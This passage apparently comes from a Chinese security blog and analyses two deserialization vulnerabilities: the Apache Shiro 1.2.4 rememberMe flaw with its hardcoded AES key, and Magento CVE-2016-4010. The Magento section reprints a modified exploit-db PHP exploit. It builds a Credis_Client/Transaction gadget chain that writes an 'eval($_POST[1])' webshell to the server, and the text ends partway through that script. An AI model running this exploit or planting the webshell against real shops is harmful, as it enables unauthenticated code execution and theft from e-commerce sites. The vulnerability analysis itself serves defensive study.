     * {@code WebSubject} does not have an HTTP Request/Response pair, this implementation does nothing.
     *
     * @param subject    the Subject for which the identity is being serialized.
     * @param serialized the serialized bytes to be persisted.
     */
    protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

        if (!WebUtils.isHttp(subject)) {
            if (log.isDebugEnabled()) {
                String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet " +
                        "request and response in order to set the rememberMe cookie. Returning immediately and " +
                        "ignoring rememberMe operation.";
                log.debug(msg);
            }
            return;
        }


        HttpServletRequest request = WebUtils.getHttpRequest(subject);
        HttpServletResponse response = WebUtils.getHttpResponse(subject);

        //base 64 encode it and store as a cookie:
        String base64 = Base64.encodeToString(serialized);

        Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
        Cookie cookie = new SimpleCookie(template);
        cookie.setValue(base64);
        cookie.saveTo(request, response);
    }

    ...

    /**
     * Returns a previously serialized identity byte array or {@code null} if the byte array could not be acquired.
     * This implementation retrieves an HTTP cookie, Base64-decodes the cookie value, and returns the resulting byte
     * array.
     * <p/>
     * The {@code SubjectContext} instance is expected to be a {@link WebSubjectContext} instance with an HTTP
     * Request/Response pair so an HTTP cookie can be retrieved from the incoming request.  If it is not a
     * {@code WebSubjectContext} or that {@code WebSubjectContext} does not have an HTTP Request/Response pair, this
     * implementation returns {@code null}.
     *
     * @param subjectContext the contextual data, usually provided by a {@link Subject.Builder} implementation, that
     *                       is being used to construct a {@link Subject} instance.  To be used to assist with data
     *                       lookup.
     * @return a previously serialized identity byte array or {@code null} if the byte array could not be acquired.
     */
    protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                        "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                        "immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }
            return null;
        }

        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
        }

        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);

        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64 + "]");
            }
            byte[] decoded = Base64.decode(base64);
            if (log.isTraceEnabled()) {
                log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
            }
            return decoded;
        } else {
            //no cookie set - new site visitor?
            return null;
        }
    }

分析这个类后,我们发现CookieRememberMeManager类实际上继承了父类AbstractRememberMeManager并且正如上面描述的过程使用getRememberedSerializedIdentity方法对获取到的请求进行Base64解码返回序列化对象。

而AbstractRememberMeManager类直接将AES加密的密钥写在源码里,并且调用DefaultSerializer类来实现序列化操作

AbstractRememberMeManager.java:

public abstract class AbstractRememberMeManager implements RememberMeManager {

    /**
     * private inner log instance.
     */
    private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);

    /**
     * The following Base64 string was generated by auto-generating an AES Key:
     * <pre>
     * AesCipherService aes = new AesCipherService();
     * byte[] key = aes.generateNewKey().getEncoded();
     * String base64 = Base64.encodeToString(key);
     * </pre>
     * The value of 'base64' was copied-n-pasted here:
     */
    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

... ...

    /**
     * Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
     * an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
     */
    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

继续分析DefaultSerializer类,在反序列化方法deserialize里,我们看到了熟悉的readObject(),这也正是远程代码执行漏洞产生的原因。

DefaultSerializer.java:

public class DefaultSerializer<T> implements Serializer<T> {

    /**
     * This implementation serializes the Object by using an {@link ObjectOutputStream} backed by a
     * {@link ByteArrayOutputStream}.  The {@code ByteArrayOutputStream}'s backing byte array is returned.
     *
     * @param o the Object to convert into a byte[] array.
     * @return the bytes representing the serialized object using standard JVM serialization.
     * @throws SerializationException wrapping a {@link IOException} if something goes wrong with the streams.
     */
    public byte[] serialize(T o) throws SerializationException {
        if (o == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        BufferedOutputStream bos = new BufferedOutputStream(baos);

        try {
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(o);
            oos.close();
            return baos.toByteArray();
        } catch (IOException e) {
            String msg = "Unable to serialize object [" + o + "].  " +
                    "In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " +
                    "class must implement java.io.Serializable.";
            throw new SerializationException(msg, e);
        }
    }

    /**
     * This implementation deserializes the byte array using a {@link ObjectInputStream} using a source
     * {@link ByteArrayInputStream} constructed with the argument byte array.
     *
     * @param serialized the raw data resulting from a previous {@link #serialize(Object) serialize} call.
     * @return the deserialized/reconstituted object based on the given byte array
     * @throws SerializationException if anything goes wrong using the streams.
     */
    public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
        }
    }
}

总结一下漏洞产生的过程如下:

  1. CookieRememberMeManager类接收到客户端的rememberMe cookie的请求
  2. 使用getRememberedSerializedIdentity方法对获取到的请求进行Base64解码返回序列化对象
  3. 调用AbstractRememberMeManager类并使用硬编码的密钥对序列化对象进行AES解密
  4. 调用DefaultSerializer类中的deserialize方法实现反序列化操作,从而造成远程代码执行

0x02 利用

2.1 搭建实验环境

首先,从Github上下载Shiro 1.2.4的源代码:

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
cd samples/web

接着,编辑pom.xml文件,添加存在漏洞的jar包如下:

<!-- 设置maven的编译环境 -->
     <properties>
        <maven.compiler.source>1.6</maven.compiler.source>
        <maven.compiler.target>1.6</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!-- 此处需设置版本为1.2 -->
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        ...
        <!-- 添加存在漏洞的commons-collections包 -->
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>

然后,安装和配置maven并设置maven的编译环境。可参考http://shiro-user.582556.n2.nabble.com/Help-td7580772.html,新建文件”~/.m2/toolchains.xml”包含以下内容:

<toolchains>
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <!-- this can be anything 1.6+, I tested with java 1.8 on a mac -->
      <jdkHome>/absolute/path/to/java/home</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

编译存在漏洞环境为war包:

mvn package

编译成功后,将target目录下生成的war文件部署到你的web服务器上(如:tomcat)如下图所示:

2.2 编写漏洞利用

根据以上的分析,我编写了如下的工具可用于检测是否存在漏洞。

单个网址检测:

hackUtils.py -o http://www.shiro.com/

批量网址检测:

hackUtils.py -o urls.txt

0x03 修补方案

升级到Shiro 1.2.5 或者 2.0.0 版本。

参考

https://issues.apache.org/jira/browse/SHIRO-550

Magento未授权远程代码执行漏洞(CVE-2016-4010)的分析与利用

0x00 前言

5月17日,国外的安全研究人员Netanel Rubin公开了Magento的一个未授权远程代码执行漏洞(CVE-2016-4010)。该漏洞实际上包含了多个小的漏洞并且允许攻击者在有漏洞的Magento服务器上未授权执行PHP代码。Magento是一个非常流行的电商平台,它在2011年时被eBay收购。一些知名企业,如:三星,尼康,联想,以及众多的小型电商都在使用它。据悉,Magento被250,000个在线商城使用,每年将涉及金额达600亿美金。

0x01 分析

该漏洞的利用条件:

  1. Magento开启了RPCs(REST或者SOAP),且大部分都是默认开启的
  2. Magento的CE&EE版本<2.0.6

Magento的web API允许2种不同方式的RPCs,分别是REST RPC和SOAP API。这2种方式都提供了相同的功能,唯一的区别在于前者使用JSON和HTTP请求去传递输入,后者则使用XML。

为了仅仅公开部分模块的API,Magento提供给开发者们一个方便的方法就是在“webapi.xml”文件里仅仅声明他们想要能够访问的模块的API。webapi.xml文件包含了所有需要被公开的Web API的类和方法,每一个方法也指定了它需要的具体的权限。这些权限包括:

  1. anonymous - 允许任何人访问的方法
  2. self - 仅仅允许注册的用户和具体的管理员的权限,如: “Magento_Backend::admin”权限就是仅仅允许可以编辑服务器配置的管理员去访问

当然,这种允许开发者使用webapi.xml文件在系统的前端以及后端(Web API)之前通信的方式,实际上也打开了一扇直接进入模块核心的后门。

另外,即使我们已经有了“anonymous”权限我们仍然需要一个可以动态传值的方式。这里指的可在系统里使用的不同的对象,例如:“CustomerRepositoryInterface::save()” API功能允许我们在“$customer”变量里使用“CustomerInterface”的对象,代码原型如下:

interface CustomerRepositoryInterface
{
    /**
     * Create customer.
     */
    public function save(\Magento\Customer\Api\Data\CustomerInterface $customer);
 
}

那么如何使用RPC接口来创建对象呢?事实上,这个问题的答案在于Magento如何配置SOAP服务器。

Magento使用默认捆绑了PHP“SoapServer”的SOAP服务器。为了能够正确的配置,“SoapServer”需要一个WSDL文件,在这个文件里去定义所有的方法,参数,以及在实际RPC请求种使用的定制内型。Magento为每个支持XMLRPC功能的模块生成不同的WSDL文件,并且直接设置来自于模块的webapi.xml文件里的值。

当一个RPC请求被服务器解析的时候,服务器使用在WSDL文件里找到的数据去判断请求是否有效,检查请求的方法,参数和类型。如果请求是有效的,就传递已解析的请求对象至Magento做进一步的解析。一个非常重要的点是,“SoapServer”不会以任何方式与Magento进行交互,所有关于模块的的方法和参数的信息都是来自于WSDL文件。此时,发送的请求仍然是由嵌套的数组组成,在SoapServer的解析阶段没有对象会被创建。为了创建需要的对象,Magento会继续自己处理输入。

为了抽取参数名和数据类型,Magento会从请求的方法里获取原型(可以参见前面的代码)。对于一些基本的数据类型, 如字符串,数组,布尔型等,系统将把输入对应到相应的类型。但是对于对象类型,解决的方法比较麻烦。

如果参数的数据类型是一个类的实例,Magento将会尝试使用提供的输入去简历实例。记住,此时的输入仅仅是一个字典,它的key是属性名称,value饰属性值。

首先,Magento将会创建一个需要的类的新实例。接着,它将会尝试使用以下的方法去填充:

  1. 获取属性名称(来自于输入的字典的key)
  2. 寻找公共的方法叫“Set[Name]”,其中[Name]是属性名称
  3. 如果有这样的方法,使用属性值作为参数去执行
  4. 如果没有这样的方法,忽略该属性并且继续查看下一个属性

Magento将会按照这个方法去处理每一个的用户正在尝试设置的属性。当所有的属性都被检查了,Magento将会认为该实例已经设置完成并且处理下一个参数。当所有的参数都被这样处理了,Magento将会最终执行这个API方法。

总而言之,Magento让你去创建一个对象,并设置它的公共属性,最后通过它的RPC去执行任何一个以“Set”开头的方法。而正是这种行为导致了Magento的漏洞的产生。

研究发现,一些API的调用是允许在购物车里设置一些具体的信息,这些信息可以是我们的邮寄地址,商品,甚至是我们的支付方式。

当Magento在购物车实例种设置我们的信息的时候,它会使用实例的“save”方法往数据库中存储新添加的数据。

下面我们来看看“save”方法是如何工作的吧!

/**
 * Save object data
 */
public function save(\Magento\Framework\Model\AbstractModel $object)
{
    ...
    // If the object is valid and can be saved
    if ($object->isSaveAllowed()) {
        // Serialize whatever fields need serializing
        $this->_serializeFields($object);
        ...
        // If the object already exists in the DB, update it
        if ($this->isObjectNotNew($object)) {
            $this->updateObject($object);
        // Otherwise, create a new record
        } else {
            $this->saveNewObject($object);
        }
         
        // Unserialize the fields we serialized
        $this->unserializeFields($object);
    }
    ...
    return $this;
}
 
// AbstractDb::save()

Magento确保我们的对象都是有效的,然后序列化所有应该被序列化的部分并存储在数据库里,最后再反序列化之前序列化的部分。

看起来很简单,对吧?其实不然,让我们继续看看Magento是如何判断哪些部分应该被序列化。

/**
 * Serialize serializable fields of the object
 */
protected function _serializeFields(\Magento\Framework\Model\AbstractModel $object)
{
    // Loops through the '_serializableFields' property
    // (containing hardcoded fields that should be serialized)
    foreach ($this->_serializableFields as $field => $parameters) {
        // Get the field's value
        $value = $object->getData($field);
         
        // If it's an array or an object, serialize it
        if (is_array($value) || is_object($value)) {
            $object->setData($field, serialize($value));
        }
    }
}
 
// AbstractDb::_serializeFields()

正如我们看到的,仅仅是出现在硬编码字典“_serializableFields”中的那部分能够被序列化。最重要的是,这个方法在确保了field的值是一个数组或者对象的之后才会继续去序列化。

现在,我们看看Magento是如何判断哪些部分应该被反序列化。

**
 * Unserialize serializeable object fields
 */
public function unserializeFields(\Magento\Framework\Model\AbstractModel $object)
{
    // Loops through the '_serializableFields' property
    // (containing hardcoded fields that should be serialized)
    foreach ($this->_serializableFields as $field => $parameters) {
        // Get the field's value
        $value = $object->getData($field);
         
        // If it's not an array or an object, unserialize it
        if (!is_array($value) && !is_object($value)) {
            $object->setData($field, unserialize($value));
        }
    }
}
 
// AbstractDb::unserializeFields ()

好吧,看起来非常类似。唯一的不同点是,这次Magento需要确保field的值不是一个数组或者对象。因为这2次的检查,我们应该能够实施一个对象注入攻击,即简单地在一个可序列化的field中设置一个一定规则的字符串。当我们如此设置后,系统在存储对象至数据库之前将不会序列化这个field,因为它不是对象或者数组。但是,当系统将会尝试反序列化它时,在数据库查询被执行之后,它将会被反序列化,因为它不是一个对象或者数组。

但是正是这种小到几乎看不见的条件却造成了漏洞。剩下的问题就是考虑哪些field被认为是“可序列化的”,并且我们如何设置它。

当然,第一个问题很简单,就是我仅仅需要搜索哪个类包含了“_serializableFields”属性。很快,在“Payment”类中发现了一个API方法,但是不是作为一个参数,所以不能创建或者控制它的实例属性。最重要的是,它的可序列化的field“additional_information”仅能被设置成一个数组,且使用“Set[PROPERTY_NAME]”技术作为一个额外的安全措施,所以不仅不能创建,即使能我们也不能设置成一个字符串。

但很有趣的是,它可以以另外一种“骚气”的方式去设置。当Magento设置参数实例的属性时,事实上不是真的设置属性,而是保存他们在一个命名为“_data”的字典中。当一个实例的属性被使用时,这个字典将会被使用。这对于我们来说,意味着我们的可序列化field - “additional_information”事实上被保存在一个内置的字典中而不是一个正常的属性。

所以,如果我们能够完全控制“_data”字典,那么我们就能轻松地绕过“additional_information”field的数组限制,因为我们可以手动设置它而不是去调用“Set[PROPERTY_NAME]”。

但是,我们又如何控制这个敏感的字典呢?

在保存我们“Payment”实例之前,Magento要做的一件事就是去编辑它的属性。Magento将我们的API输入当作需要被存储在“Payment”实例中的支付信息,如下:

/**
 * Adds a specified payment method to a specified shopping cart.
 */
public function set($cartId, \Magento\Quote\Api\Data\PaymentInterface $method)
{
     
    $quote = $this->quoteRepository->get($cartId); // Get the cart instance
    $payment = $quote->getPayment(); // Get the payment instance
 
    // Get the data from the user input
    $data = $method->getData();
     
    // Check for additional data
    if (isset($data['additional_data'])) {
        $data = array_merge($data, (array)$data['additional_data']);
        unset($data['additional_data']);
    }
     
    // Import the user input to the Payment instance
    $payment->importData($data);
     
    ...
}
 
// PaymentMethodManagement::set()

正如我们看到的,“Payment”数据通过调用“$method->getData()”从“$method”参数中返回“_data”属性来获取。记住,因为“$method”是API方法的一个参数,所以我们能够控制它。

当Magenta在我们的“$method”参数里调用“getData()”时,参数的“_data”属性将会返回,并包含了我们插入的所有的支付信息。之后,它以“_data”属性作为输入去调用“importData()”,用我们的“_data”属性去替换掉“Payment”实例的“_data”属性。至此,我们现在能够使用我们可以控制的“_data”属性去替“Payment”实例中敏感的“_data”属性,也就意味着,我们现在可以设置“addition_information”field。

为了让unserialize()起作用,我们需要field能否被设置成字符串,但是“Set[PROPERTY_NAME]”方法仅仅允许数组。解决方法是在调用“importData()”之前放2行代码。Magento允许开发者去增加他们自己的支付方法,提供他们自己的数据和信息。为了实现这个,Magento使用了“addition_data”field。而这个field则是一个包含更多数据的支付方法且完全用户可控的字典。为了能让定制化的内容成为原始数据的一部分,Magento将“additional_data”字典与原始的“data”字典合并在一起,实际上就是允许“additional_data”字典去覆盖“data”字典里的所有的值,基本上也就是可以完全覆写。这也就意味着,在2个字典合并之后,用户可控的“additional_data”字典现在变成了参数“_data”字典,并且因为“importData()”,它也变成了“Payment”实例中敏感的“_data”属性。换句话说,我们现在已经完全控制了可序列化的field“additional_information”,并可以实施对象注入攻击了。

既然我们可以反序列化任何我们想要的字符串,那么是时候进行对象注入攻击了。

首先,我们需要一个带有“__wakeup()”或者“__destruct()”方法的对象,以便当对象被反序列化或者销毁时能够被自动调用。这是因为即使我们能够控制对象的属性,但是我们不能调用它的方法。这也是为什么我们必须依赖PHP的magical方法,当某个事件发生时它能够被自动调用。

我们将使用的第一个对象是“Credis_Client”类的一个实例,它包含如下的方法:

/*
 * Called automaticlly when the object is destrotyed.
 */
public function __destruct()
{
    if ($this->closeOnDestruct) {
        $this->close();
    }
}
 
/*
 * Closes the redis stream.
 */
public function close()
{
    if ($this->connected && ! $this->persistent) {
            ...
            $result = $this->redis->close();
    }
    ...
}
 
// Credis_Client::__destruct(), close()

我们可以看到,这个类有一个简单的“__destruct”方法(当对象被销毁时它将会被PHP自动调用)去调用“close()”方法。有意思的是,“close()”方法如果发现有一个主动连接至Redis服务器,它就会去调用“redis”属性中的“close()”去关闭它。

由于“ unserialize()”允许我们去控制所有的对象属性,所以我们也可以控制“redis”属性。我们可以在属性里(不仅仅是Redis)设置任意一个我们想要的对象,并在系统的任意一个类中调用任意一个“close()”方法。这也大大地扩大了我们的攻击面。在Magento中有一些”close()”方法并且由于这些方法通常是用来终止流,关闭文件句柄以及存储对象数据,故而我们应该可以找到一些有趣的调用。

正如我们预期的,我们找到了下面这个在“Transaction”类中的“close()”方法:

/**
 * Close this transaction
 */
public function close($shouldSave = true)
{
    ...
    if ($shouldSave) {
        $this->save();
    }
    ...
}
 
/**
 * Save object data
 */
public function save()
{
    $this->_getResource()->save($this);
    return $this;
}
 
// Magento\Sales\Model\Order\Payment\Transaction::__destruct(), close()

看起来很简单,“close()”方法调用“save()”方法接下来调用“_resource”属性中的“save()”方法。相同的思路,因为我们控制了“_resource”属性所以我们也能控制它的类,故我们能调用任何我们想要的类的“save()”方法。

又向前迈了一大步了。正如我们猜想的那样,“save()”方法通常是用来在各种存储介质里(如:文件系统,数据库等)保存各种数据。现在我们需要做的事情就是找到一个使用文件系统当做存储介质的“save()”方法。

很快,我找到了一个:

/**
 * Try to save configuration cache to file
 */
public function save()
{
    ...
    // save stats
    file_put_contents($this->getStatFileName(), $this->getComponents());
    ...
}
 
// Magento\Framework\Simplexml\Config\Cache\File::save()

这个方法其实是将“components”field中的数据保存在一个文件中。因为文件的路径是从“stat_file_name”field中获取的,另外由于我们控制了这2个参数,我们实际上控制了文件的路径和内容,这就产生了一个任意文件写入的漏洞。

现在我们只需要考虑找到一个有效的可写的并且可被web服务器访问的路径去写入文件。在所有的Magento安装目录中有一个“/pub”的目录,它是用来存储图片或者管理员上传的文件,这是一个可有效利用的路径。

最后我们只需要简单的写一个PHP的webshell文件到服务器上,就可以在Magento服务器上未授权执行任意PHP代码。

0x02 利用

测试环境搭建

1. 下载有漏洞的安装包(这里使用的是2.0.0版本)

下载地址:https://github.com/magento/magento2/archive/2.0.0.zip

2. 安装Magento

安装步骤:https://github.com/magento/magento2/tree/2.0.0

注意:此处可能会遇到一些问题可参见:

http://magento2king.com/magento2-insta-be-downloaded/

https://github.com/magento/magento2/issues/2419

漏洞利用

exploit-db上公开的漏洞exp((https://www.exploit-db.com/exploits/39838/),稍作修改如下:

<?php

// Exploit Title: [CVE-2016-4010] Magento unauthenticated arbitrary unserialize -> arbitrary write file
// Date: 18/05/206
// Exploit Author: agix (discovered by NETANEL RUBIN)
// Vendor Homepage: https://magento.com
// Version: < 2.0.6
// CVE : CVE-2016-4010

// to get a valid guestCartId
// * add an item in your cart
// * go to checkout
// * fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information
// (* in the response check the payment method it may vary from checkmo)
//
// If you didn\'t provide whereToWrite, it will execute phpinfo to leak path.


class Magento_Framework_Simplexml_Config_Cache_File extends DataObject
{
    function __construct($data){
        $this->_data = $data;
    }
}

class Credis_Client{
    const TYPE_STRING      = 'string';
    const TYPE_LIST        = 'list';
    const TYPE_SET         = 'set';
    const TYPE_ZSET        = 'zset';
    const TYPE_HASH        = 'hash';
    const TYPE_NONE        = 'none';
    const FREAD_BLOCK_SIZE = 8192;

    /**
     * Socket connection to the Redis server or Redis library instance
     * @var resource|Redis
     */
    protected $redis;
    protected $redisMulti;

    /**
     * Host of the Redis server
     * @var string
     */
    protected $host;

    /**
     * Port on which the Redis server is running
     * @var integer
     */
    protected $port;

    /**
     * Timeout for connecting to Redis server
     * @var float
     */
    protected $timeout;

    /**
     * Timeout for reading response from Redis server
     * @var float
     */
    protected $readTimeout;

    /**
     * Unique identifier for persistent connections
     * @var string
     */
    protected $persistent;

    /**
     * @var bool
     */
    protected $closeOnDestruct = TRUE;

    /**
     * @var bool
     */
    protected $connected = TRUE;

    /**
     * @var bool
     */
    protected $standalone;

    /**
     * @var int
     */
    protected $maxConnectRetries = 0;

    /**
     * @var int
     */
    protected $connectFailures = 0;

    /**
     * @var bool
     */
    protected $usePipeline = FALSE;

    /**
     * @var array
     */
    protected $commandNames;

    /**
     * @var string
     */
    protected $commands;

    /**
     * @var bool
     */
    protected $isMulti = FALSE;

    /**
     * @var bool
     */
    protected $isWatching = FALSE;

    /**
     * @var string
     */
    protected $authPassword;

    /**
     * @var int
     */
    protected $selectedDb = 0;

    /**
     * Aliases for backwards compatibility with phpredis
     * @var array
     */
    protected $wrapperMethods = array('delete' => 'del', 'getkeys' => 'keys', 'sremove' => 'srem');

    /**
     * @var array
     */
    protected $renamedCommands;

    /**
     * @var int
     */
    protected $requests = 0;


    public function __construct($resource) {
        $this->redis = new Magento_Sales_Model_Order_Payment_Transaction($resource);
    }
}

class DataObject
{
    /**
     * Object attributes
     *
     * @var array
     */
    protected $_data = [];

    /**
     * Setter/Getter underscore transformation cache
     *
     * @var array
     */
    protected static $_underscoreCache = [];
}

abstract class AbstractModel2 extends DataObject
{
    /**
     * Prefix of model events names
     *
     * @var string
     */
    protected $_eventPrefix = 'core_abstract';

    /**
     * Parameter name in event
     *
     * In observe method you can use $observer->getEvent()->getObject() in this case
     *
     * @var string
     */
    protected $_eventObject = 'object';

    /**
     * Name of object id field
     *
     * @var string
     */
    protected $_idFieldName = 'id';

    /**
     * Data changes flag (true after setData|unsetData call)
     * @var $_hasDataChange bool
     */
    protected $_hasDataChanges = false;

    /**
     * Original data that was loaded
     *
     * @var array
     */
    protected $_origData;

    /**
     * Object delete flag
     *
     * @var bool
     */
    protected $_isDeleted = false;

    /**
     * Resource model instance
     *
     * @var \Magento\Framework\Model\ResourceModel\Db\AbstractDb
     */
    protected $_resource;

    /**
     * Resource collection
     *
     * @var \Magento\Framework\Model\ResourceModel\Db\Collection\AbstractCollection
     */
    protected $_resourceCollection;

    /**
     * Name of the resource model
     *
     * @var string
     */
    protected $_resourceName;

    /**
     * Name of the resource collection model
     *
     * @var string
     */
    protected $_collectionName;

    /**
     * Model cache tag for clear cache in after save and after delete
     *
     * When you use true - all cache will be clean
     *
     * @var string|array|bool
     */
    protected $_cacheTag = false;

    /**
     * Flag which can stop data saving after before save
     * Can be used for next sequence: we check data in _beforeSave, if data are
     * not valid - we can set this flag to false value and save process will be stopped
     *
     * @var bool
     */
    protected $_dataSaveAllowed = true;

    /**
     * Flag which allow detect object state: is it new object (without id) or existing one (with id)
     *
     * @var bool
     */
    protected $_isObjectNew = null;

    /**
     * Validator for checking the model state before saving it
     *
     * @var \Zend_Validate_Interface|bool|null
     */
    protected $_validatorBeforeSave = null;

    /**
     * Application Event Dispatcher
     *
     * @var \Magento\Framework\Event\ManagerInterface
     */
    protected $_eventManager;

    /**
     * Application Cache Manager
     *
     * @var \Magento\Framework\App\CacheInterface
     */
    protected $_cacheManager;

    /**
     * @var \Magento\Framework\Registry
     */
    protected $_registry;

    /**
     * @var \Psr\Log\LoggerInterface
     */
    protected $_logger;

    /**
     * @var \Magento\Framework\App\State
     */
    protected $_appState;

    /**
     * @var \Magento\Framework\Model\ActionValidator\RemoveAction
     */
    protected $_actionValidator;

    /**
     * Array to store object's original data
     *
     * @var array
     */
    protected $storedData = [];
}

abstract class AbstractExtensibleModel extends AbstractModel2
{
    protected $extensionAttributesFactory;

    /**
     * @var \Magento\Framework\Api\ExtensionAttributesInterface
     */
    protected $extensionAttributes;

    /**
     * @var AttributeValueFactory
     */
    protected $customAttributeFactory;

    /**
     * @var string[]
     */
    protected $customAttributesCodes = null;

    /**
     * @var bool
     */
    protected $customAttributesChanged = false;

}

abstract class AbstractModel extends AbstractExtensibleModel
{
}

class Magento_Sales_Model_Order_Payment_Transaction extends AbstractModel
{
    /**#@+
     * Supported transaction types
     * @var string
     */
    const TYPE_PAYMENT = 'payment';

    const TYPE_ORDER = 'order';

    const TYPE_AUTH = 'authorization';

    const TYPE_CAPTURE = 'capture';

    const TYPE_VOID = 'void';

    const TYPE_REFUND = 'refund';

    /**#@-*/

    /**
     * Raw details key in additional info
     */
    const RAW_DETAILS = 'raw_details_info';

    /**
     * Order instance
     *
     * @var \Magento\Sales\Model\Order\Payment
     */
    protected $_order = null;

    /**
     * Parent transaction instance
     * @var \Magento\Sales\Model\Order\Payment\Transaction
     */
    protected $_parentTransaction = null;

    /**
     * Child transactions, assoc array of transaction_id => instance
     *
     * @var array
     */
    protected $_children = null;

    /**
     * Child transactions, assoc array of txn_id => instance
     * Filled only in case when all child transactions have txn_id
     * Used for quicker search of child transactions using isset() as opposite to foreaching $_children
     *
     * @var array
     */
    protected $_identifiedChildren = null;

    /**
     * Whether to perform automatic actions on transactions, such as auto-closing and putting as a parent
     *
     * @var bool
     */
    protected $_transactionsAutoLinking = true;

    /**
     * Whether to throw exceptions on different operations
     *
     * @var bool
     */
    protected $_isFailsafe = true;

    /**
     * Whether transaction has children
     *
     * @var bool
     */
    protected $_hasChild = null;

    /**
     * Event object prefix
     *
     * @var string
     * @see \Magento\Framework\Model\AbstractModel::$_eventPrefix
     */
    protected $_eventPrefix = 'sales_order_payment_transaction';

    /**
     * Event object prefix
     *
     * @var string
     * @see \Magento\Framework\Model\AbstractModel::$_eventObject
     */
    protected $_eventObject = 'order_payment_transaction';

    /**
     * Order website id
     *
     * @var int
     */
    protected $_orderWebsiteId = null;

    /**
     * @var \Magento\Sales\Model\OrderFactory
     */
    protected $_orderFactory;

    /**
     * @var \Magento\Framework\Stdlib\DateTime\DateTimeFactory
     */
    protected $_dateFactory;

    /**
     * @var TransactionFactory
     */
    protected $_transactionFactory;

    /**
     * @var \Magento\Sales\Api\OrderPaymentRepositoryInterface
     */
    protected $orderPaymentRepository;

    /**
     * @var \Magento\Sales\Api\OrderRepositoryInterface
     */
    protected $orderRepository;

    /**
     * @param \Magento\Framework\Model\Context $context
     * @param \Magento\Framework\Registry $registry
     * @param \Magento\Framework\Api\ExtensionAttributesFactory $extensionFactory
     * @param AttributeValueFactory $customAttributeFactory
     * @param \Magento\Sales\Model\OrderFactory $orderFactory
     * @param \Magento\Framework\Stdlib\DateTime\DateTimeFactory $dateFactory
     * @param TransactionFactory $transactionFactory
     * @param \Magento\Framework\Model\ResourceModel\AbstractResource $resource
     * @param \Magento\Framework\Data\Collection\AbstractDb $resourceCollection
     * @param array $data
     * @SuppressWarnings(PHPMD.ExcessiveParameterList)
     */
    public function __construct($resource) {
        $this->_resource = $resource;
    }
}

class Magento_Framework_DB_Transaction{
    protected $_objects = [];

    /**
     * Transaction objects array with alias key
     *
     * @var array
     */
    protected $_objectsByAlias = [];

    /**
     * Callbacks array.
     *
     * @var array
     */
    protected $_beforeCommitCallbacks = ["phpinfo"];
}

if(count($argv) < 3){
    echo 'Usage: '.$argv[0].' <magento_uri> <guestCartId> (whereToWrite)'.chr(0x0a);
    echo 'To get a valid guestCartId'.chr(0x0a);
    echo '* add an item in your cart'.chr(0x0a);
    echo '* go to checkout'.chr(0x0a);
    echo '* fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information'.chr(0x0a);
    echo '(* in the response check the payment method it may vary from "checkmo")'.chr(0x0a).chr(0x0a);
    echo 'If you didn\'t provide whereToWrite, it will execute phpinfo to leak path.'.chr(0x0a);
    exit();
}

if(count($argv) === 4){
    $data = [];
    $data['is_allowed_to_save'] = True;
    $data['stat_file_name'] = $argv[3];
    $data['components'] = '<?php eval($_POST[1]);?>';
    $resource = new Magento_Framework_Simplexml_Config_Cache_File($data);
}
else{
    $resource = new Magento_Framework_DB_Transaction();
}

$redis = new Credis_Client($resource);
$serialized = serialize($redis);

$payload = json_decode('{"paymentMethod":{"method":"checkmo", "additional_data":{"additional_information":""}}, "email": "valid@magento.com"}');

